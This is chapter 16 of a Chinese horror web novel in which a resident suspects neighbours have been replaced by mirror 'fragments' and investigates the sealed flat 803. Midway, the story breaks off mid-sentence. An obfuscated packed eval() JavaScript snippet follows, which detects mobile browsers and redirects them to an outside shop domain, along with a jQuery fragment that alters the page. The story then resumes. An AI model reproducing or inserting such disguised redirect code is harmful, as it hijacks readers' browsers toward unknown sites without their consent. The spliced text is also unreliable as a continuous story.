第十六章
魏凌在接下来的几天里刻意放慢了节奏。
他每天早上睡到自然醒——阳光从窗帘缝隙里透进来,在被子上画一道慢慢移动的金色光带。他起床之后先站在窗边往外看几分钟,看楼下小区里人在走动、车在进出、狗在追尾巴。然后他去卫生间洗漱,对着镜子刷牙,镜子里的自己规规矩矩地做着所有配套动作,没有滞后也没有提前。然后他去厨房煮面或者下楼买包子——周婶的搪瓷碗被他洗干净之后连着两天都端着热气腾腾的包子出现在门口,他后来干脆直接去704敲门,周婶把门拉开一条缝就递出来一袋,嘴里说着"拿着拿着趁热吃"。那种平常到近乎琐碎的生活细节在他的感知里被放大成了某种珍宝。
他看着周婶的手指在和面的时候沾着面粉,指甲缝里有干了的白色粉屑,是很真实的、和过面团之后没洗干净手的痕迹。他看着楼下的超市老板把一箱箱饮料从三轮车上搬下来,汗珠从他额头上滚下来沿着太阳穴滑进脖子。他看见隔壁单元的一个年轻妈妈牵着小孩去上幼儿园,小孩手里攥着一个咬了一口的包子,肉馅从包子的豁口露出来,他伸手去捏那个肉馅,被他妈拍了一下手背。
所有的一切都太正常了。正常到魏凌有时候会坐在沙发上发呆,怀疑前几天发生的一切都是他的幻觉——声音分配表、地下三层、E-0、镜像门、老钱走进镜子里又走出来——那些事像一层薄薄的、被阳光晒干之后卷曲起来的透明薄膜,贴在他记忆的表面,随时可以被揭掉扔掉。但每当他这么想的时候,他低头看自己的手,手背上那道被老虎钳划伤的伤口已经结痂了,痂皮边缘微微翘起,露出下面新生的粉红色皮肤。那条伤口是真的。他口袋里的那份旧文件也是真的。茶几下面那本周伟留下的笔记本里还夹着他抄下来的声音分配表的重点摘录,那些字也是真的。
第三天傍晚,他下楼买盐的时候碰见了方琳。1202的方琳,那个值夜班的护士。她穿着浅绿色的棉布连衣裙,头发扎成一个低马尾,脚上穿着一双白色的帆布鞋,正蹲在单元门口系鞋带。她看见魏凌从大厅里走出来,抬头冲他笑了一下:"嗨,好久不见。"魏凌也笑了一下。但他在看见她笑容的时候注意到一个极细微的细节——她的左嘴角比右嘴角扬起得高了大概一两毫米。正常人笑的时候嘴角会有微小的不对称,但那种不对称随着情绪的自然流动会不断变化、微调。而方琳的那个笑容是固定的,嘴角抬起的角度在两秒钟内纹丝不动,像一段被人截取下来保存好的静态表情,贴在她脸上使用。
魏凌在单元门口停了一下。方琳系好鞋带站起来,拍了拍裙摆上的灰,冲他摆了一下手:"我出去买个西瓜。晚上太热了。"她走了。魏凌站在单元门口看着她的背影走出小区大门,步态正常,裙摆随着步伐轻轻摆动,马尾在后脑勺一晃一晃。没有任何明显的异常。但他记住了那个左嘴角比右嘴角高一毫米的固定微笑。他当晚回802之后翻了一下业主群的聊天记录,想找方琳以前发过的语音或者照片对比一下。但他翻到方琳的头像时,她的头像已经换了——原来是一张自拍,现在换成了一只猫的照片。一只虎斑猫,蹲在一扇窗户前面,窗外是灰蒙蒙的天光。那只猫的瞳孔放大,表情里有一种介于警惕和好奇之间的状态,很真实。但方琳本人不在头像里了。
他没有声张。他把这件事记在心里。
第二天上午,他又碰见了"小鹿"。303的那个二十岁女主播。她穿着宽大的白色T恤和黑色运动短裤,头发用一根鲨鱼夹随意夹着,素颜,黑眼圈很重,像没睡好。她正在一楼大厅的快递柜前面取快递,屏幕的光照着她的脸,侧面的轮廓看起来和正常人没有任何区别。魏凌从她身后经过的时候看了她一眼,她正在输入取件码,手指的动作很灵巧,没有迟疑。但她输入完六个数字之后,等着快递柜弹开的时间里,她把双手垂在身体两侧,大拇指和食指的指尖轻轻捏在一起,像在做某种精细的手指操。弹开的柜门发出咔嗒一声响,她的手立刻松开了,变成了自然的垂手姿态。魏凌走过去拿自己的快递,经过她的时候打了个招呼:"小鹿?"
小鹿转过头来看他。她的眼睛里有血丝,眼白微微泛黄,像熬了好几夜没睡。她的脸上浮出一个笑来,嘴角上扬的弧度很对称,两边一起抬起来,没有误差。"嗨,魏哥。你也取快递啊?"声音是她的,语调和之前群里发语音的时候差不多,带着一点年轻人特有的轻快。但那个对称的笑容让魏凌的胃轻轻翻了一下。一个正常人听到别人叫她的时候,转头的同时嘴角就会自然动起来,那个动的过程是下意识的、不完整的、随着视线转移而变化的。而小鹿的笑容是"先转过头,然后嘴角上扬"——拆成了两个步骤,像一个人在按照说明书操作面部肌肉。
魏凌笑了一下,拿了快递就转身走了。他没有回头看,但他能感觉到小鹿的目光在他的后背停留了两三秒才移开。那种被注视的感觉很轻,像一道被削弱过的探照灯扫过后背。
回到802之后,他坐下来认真想了一下。方琳和小鹿都是E-0启动那晚没有睡觉的人。小鹿在群里发语音说"老周在门口笑",那时候她显然是清醒的。方琳在零点之后发了消息说"马桶自动冲水了",说明她那时候也在看手机。她们两个人都在镜子全部打开的那一秒钟里站在了某面镜子前面。而方琳嘴角的固定微笑和小鹿那种拆分成两个步骤的面部动作,都是"镜像碎片"占据真实人体之后需要一段时间的调试才能磨合好的痕迹。她们被"替换"了,或者至少部分被替换了——真实的方琳和小鹿可能还在镜像空间里的某个位置,现在的她们是声音系统里提取出来的"碎片",被放进了真实的身体里。
魏凌坐在沙发上,手指在膝盖上轻轻敲着。他需要确认这件事。他拿起手机,在群里发了一条试探性的消息:"@所有人,最近有人觉得凉快了吗?夜里睡觉需要盖毯子吗?"他故意发了一条无关痛痒、没有任何威胁性的内容。他想看看哪些人回复的速度、措辞、表情和以前不一样了。
消息发出去之后,群里安静了两分钟。然后有人回了——"204老钱":"废话,夏天不盖毯子。""1002张福":"你家空调坏了?" "1202方琳"回了两个字:"还行。" "303小鹿"回了一条语音,魏凌点开听,小鹿的声音还是那种轻快的语调:"魏哥你是不是感冒了?大夏天的盖毯子,你发烧了吧哈哈。"语音里带了一句笑声,那个笑声断得很干净,尾音处没有任何自然的颤音。魏凌把语音关掉,又翻回方琳的那条"还行"。她之前打字说话的习惯是带表情符号的,每次回复至少加一个笑哭或者捂脸的表情。这一条什么都没有,干巴巴的两个字加句号。
他的判断有了大致的轮廓。方琳和小鹿都已经被"替换"了。但替换的程度可能不一样——小鹿的碎片保留了更多原始的性格特征和语言习惯,而方琳的碎片还在适应阶段,话少、表情固定、缺乏情感性符号。他在笔记本上把这两个名字记下来,后面打了一个问号。然后他又翻了翻群成员列表,挨个排查那些在凌晨零点之后发过消息、可能当时站在镜子前面的人。他还找到了几个名字——"703阿凯",那个灰色猫头像的住户,零点十六分的时候发过一条"窗外有东西在飞",之后就再也没有说过话。"602苏姨"的账号已经停用,但他看到苏姨的头像还挂在那里,一朵深红色的月季花。"601李萍"的头像也变成了灰色。剩下的人他没有完整的印象,因为他搬进来的时间太短,对大部分住户的日常习惯和表达方式并不了解。
他把笔记本合上。太阳已经落山了,窗外的天空从浅蓝色变成橘红色,再从橘红色变成淡紫色,最后沉进一片深蓝和灰紫交界的暮色里。西天穹的窗户一盏一盏地亮起来,和他第一天搬进来时看到的画面一样,每一扇窗户都散发着暖黄色的光,像一个平稳的、有人气的小区该有的样子。但那些亮着灯光的窗户后面,有些人在按说明书使用自己的脸。
魏凌站起来,穿上外套出了门。他去了204。老钱的腿在恢复,走路的时候还是有一点跛,但他能自己从沙发上站起来走到门口开门了。他穿着一件灰色的圆领棉衫,头发比以前长了一点,鬓角垂在耳朵边上,正在削一个苹果。魏凌进来之后没有寒暄,直接把笔记本翻开摊在茶几上。
"方琳和小鹿好像被换了。"他说。
老钱削苹果的手停了一下。他把苹果皮完整地削下来,一圈一圈像一条细长的红绸带,然后把削好的苹果切成两半,递了一半给魏凌。魏凌接过来咬了一口。老钱嚼着苹果慢慢咽下去,然后说:"你注意到了。"
"你也注意到了?"
老钱点了点头,把削下来的苹果皮拢在一起丢进垃圾桶。他拍了拍手上的果汁,然后靠在椅背上,目光落在天花板的某个角落。"我在204住了十六年,整栋楼的每一户我都见过不止一面。谁家小孩多大了、谁家老人在吃药、谁家的阳台晾什么衣服——我都知道。E-0启动那天之后,我坐在窗户前面看了三天,至少有三户人家的生活习惯发生了变化。"
"哪三户?"
老钱伸出三根手指:"方琳,1202。原来她下班回来第一件事是先开窗通风,她住二十楼不关窗。这几天她回来之后窗户一直关着,连窗帘都拉得死死的,白天都不拉开。小鹿,303。原来她每天晚上八九点开始直播,她直播间的声音我在二楼梯间门口都能听见。这几天晚上她的房间安安静静的,灯亮着,但没有声音。还有一户——"
魏凌盯着他:"还有谁?"
老钱把手放下来,交叠着搁在膝盖上。"你还记得当初群里第一个发现不对的人吗?不是方琳,不是小鹿。是张福。1002那个张福。在警察来之前他就说了电梯口的脚印不对劲。后来他的号被管理员撤回了消息,他说'哦没事我看错了'。从那天起张福就不怎么在群里说话了。"
魏凌想起那个细节。"他也被换了?"
老钱摇了摇头。"我不确定。但张福在那天夜里是第一个在走廊里发现异常的人,他站在镜子前面的时间可能比任何人都早。如果他真的被替换了,那个替换他的人应该继承了张福全部的警觉性,不至于从此变得沉默。"老钱的声音压低了一点,"我怀疑张福自己也有察觉。他最近每天中午都坐在楼下花坛边抽烟,不像在休息,像在看人。"
魏凌坐在204的客厅里,窗外暮色四合,晚风从纱窗里透进来,把老钱茶几上的苹果皮吹得微微颤动。他把笔记本上补上了"张福"的名字,后面加了一个标注:"观察中。"
"老钱叔,你觉得有多少人?"
老钱看着他,沉默了一会儿,然后说出了一个他不太想说的估计:"至少有五个。可能更多。镜像空间里那些碎片是四十多年累积下来的,碎片量很大,E-0启动的时候所有镜子同时开了不到一秒,但那一秒里可能同时钻出来了几十个碎片。不是每一个都能找到空位钻进人体,但找得到的那些——会是一个不小的数目。"
魏凌的手指在笔记本边缘停住了。几十个。整栋楼二十二层,一层四户,总户数不到九十户。如果里面有几十个住户已经被替换了,那这个比例接近三分之一。三分之一的人现在正"按说明书使用自己的脸",三分之一的人在调试自己新获得的身体,三分之一的人可能自己都没意识到自己已经不是原来的自己了。
"老钱叔,"魏凌的声音放得很轻,"我们得把他们都找出来。不是因为我们要赶他们走——已经没法赶走了。是因为剩下那些没有被换的人需要知道隔壁住着的是谁。"
老钱没有说话。他伸手拿过魏凌的笔记本,在空白页上画了一幅简单的楼层平面图,在几个位置打了叉——1202、303、1002、704、502、1905、803。七个叉。七个被观察到变化的户号。然后他圈了一下802的位置。"你这里是中枢层。声音和镜像交汇点。碎片如果想要"稳定"下来,最理想的位置是中枢层附近。你隔壁803现在是空的,但那个房间的位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897758|212864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
置离中枢层最近。如果有人想从镜像里彻底'活过来',他们会想住进803。"
魏凌低头看着那张图。803门口那个外卖袋子还在不在?他今天出门的时候没有留意。但他想起来一件事——803的门从E-0启动那天之后就一直是关着的,而他搬进来的前三天里,那扇门偶尔会开着一条缝,像一个有人进出的房间正常的状态。现在它一直关着。没有人进出过803。
他站起来。"我去一趟八楼走廊。老钱叔你在这里等我。"他走之前把老钱茶几上的那把水果刀拿了起来,握在手里掂了掂,然后别在后腰的裤腰带上,用外套下摆盖住。他推开204的门走进走廊。一楼大厅里亮着白炽灯,前台后面没有人,但桌上放着一杯还在冒热气的茶——和之前那杯放在同一个位置。他经过前台的时候停了一下,看了一眼那个茶杯。杯壁温热,茶叶在杯底舒展开来,像刚刚被人放下不久。他深吸一口气,没有碰那个杯子,继续走向楼梯间。
他推开八楼楼梯间的门走出来。走廊里的声控灯亮着,地面干净,空气中有一股淡淡的消毒水气味,像是有人拖过地。他走到803门口站住了。门是关着的,深灰色的铁皮门,和西天穹所有其他住户的门一模一样。门缝底下透出来微弱的光——不是暖黄色的,是一种偏冷的白色光,像手机屏幕或者电脑显示器的光源。他蹲下来,把脸贴近门缝从那条窄窄的缝隙往里看。冷白色的光从门缝里漫出来,照亮了他鼻子和下巴的一小片皮肤。他能看见的只有客厅的一小角——深蓝色的沙发边缘,茶几的一条腿,地面上有一双鞋。男式的拖鞋,灰色的,鞋尖朝门的方向放着。那双鞋的位置和昨天一模一样。
他站起来,伸手敲了一下803的门。咚,咚。里面没有任何回应。他又敲了两下,重了一些。依然没有回应。他把耳朵贴在门板上听里面的动静。冷白色光从门缝底下持续地透出来,但里面的空间安静得像一口密封的深井。他退后一步,低头看着门缝。门缝里透出的光突然暗了一瞬,像是有什么东西从光源前面经过,把光遮挡了一下。然后光重新亮了回来,像没事发生过一样。
魏凌站在803门口没有动。他伸手握住门把手,轻轻试着拧了一下——锁着的。但在他手指离开门把手的瞬间,门内侧传来极轻的一声响:咔嗒。像是有人从里面解开了锁。门板上的间隙从两指宽变成了一掌宽,冷白色的光从敞开的门缝里涌出来,照亮了走廊地面上一块椭圆形的区域。门里面是空的。他能看见玄关、走廊的一截、客厅深蓝色沙发的侧面。但客厅里没有人。那双灰色的男式拖鞋还摆在玄关靠墙的位置,鞋尖朝着门的方向。
魏凌没有进去。他只是站在走廊里,隔着那一道半开的门和里面的冷白色光对视。房间里很安静,但那种安静里有东西在呼吸。他听不见,但他能感觉到——空气在门缝内外之间有极微弱的对流,像有人在房间内缓慢地走动时带动的气流。他在门口站了大约十秒钟,然后伸手把那扇门重新拉上了。咔嗒一声,锁舌弹回锁孔。他松开门把手,退后两步,转身走回802。
进了屋之后他锁好门,靠在门板上喘了一口气。然后把后腰上的水果刀抽出来放在鞋柜上。他在客厅里站了几秒钟,然后走进卫生间打开灯,站在镜子前面看着自己。镜子里只有他一个人。但他盯着镜中自己的脸看了很久,直到确认嘴角的弧度是自己自然形成的、眨眼的速度不慢不快、眼神聚焦的距离合适。他对着镜子牵了牵嘴角又放开,做了几个不同的表情,然后松了一口气。他还能自由地使用自己的脸。这本身已经成了一种需要确认的安全指标。
他回到客厅坐下来,翻开笔记本。在"803"的旁边,他写下了几个字:"里面有人。不想出来。冷光。"然后他合上笔记本,靠在沙发靠背上闭上眼,听着窗外夜晚的声音。西天穹的夜和前几天不同了——从墙壁里渗出来的声音不再是吸尘器和炒菜声了,而是真的、属于这栋楼本身的、微小而琐碎的生活之声。楼下有人家关了电视,电视机待机之后发出一声极轻的电流关闭声。隔壁某个房间有人在打电话,声音含含糊糊的,隔着几层墙传过来只剩下一片嗡嗡的、带着音调起伏的声浪。楼上有人在洗衣服,洗衣机的滚筒在甩干时发出有节奏的嗡嗡震动,隔着楼板传到他脚下像一颗被裹在棉花里的低音鼓。
但他的耳朵捕捉到了另一个声音。从803的方向传来的——隔着802的墙壁和803的墙壁,隔着两道水泥层和一段空气,那个声音极其微弱,但它的频率很特殊,是一种持续的低频嗡鸣,和1968年冯红霞的那个"底色"声音不一样,这个嗡鸣更尖锐一些、更冷一些,像一台冰箱在极限工况下压缩机的嘶嘶声。803里的那个"东西"在运行。它不是人,它是一段被放进人体里的声音碎片在调试身体的过程中释放出来的能量残留。
魏凌睁开眼。他坐起来,拿起手机打开业主群。他发了一条消息:"@所有人,明天晚上七点,一楼大厅。有事跟大家说一下。有兴趣的可以来听。"
消息发出去之后,群里沉默了一分钟。然后有人回了。第一个回的是"204老钱":"收到。"第二个是"1002张福":"什么事?"魏凌没有回他。第三个是"303小鹿"发了一个表情——捂脸笑的那个黄脸表情。表情符号是预设的、不会有任何偏差的那种。第四个是"1202方琳":"几点?七点对吧?"没有表情,没有多余的词。魏凌看着这些回复,心里有了一张更完整的图。他需要面对面看见他们,他需要看见那些"被替换的人"在人群中的表现。集体活动能放大所有人行为上的偏差,在十个人站在一起的时候,那些"按说明书使用表情"的人会被自然地凸显出来。
他把手机放下,躺回沙发上。天花板上的灯在他眼前慢慢模糊成一片暖黄色的光晕。他的眼皮往下坠,往下坠,最后彻底合上了。西天穹的夜在窗外安静地流动着,带着洗衣机甩干的声音、电视机待机的声音、和803房间里那台"碎片"在调试身体时发出的低频嗡鸣。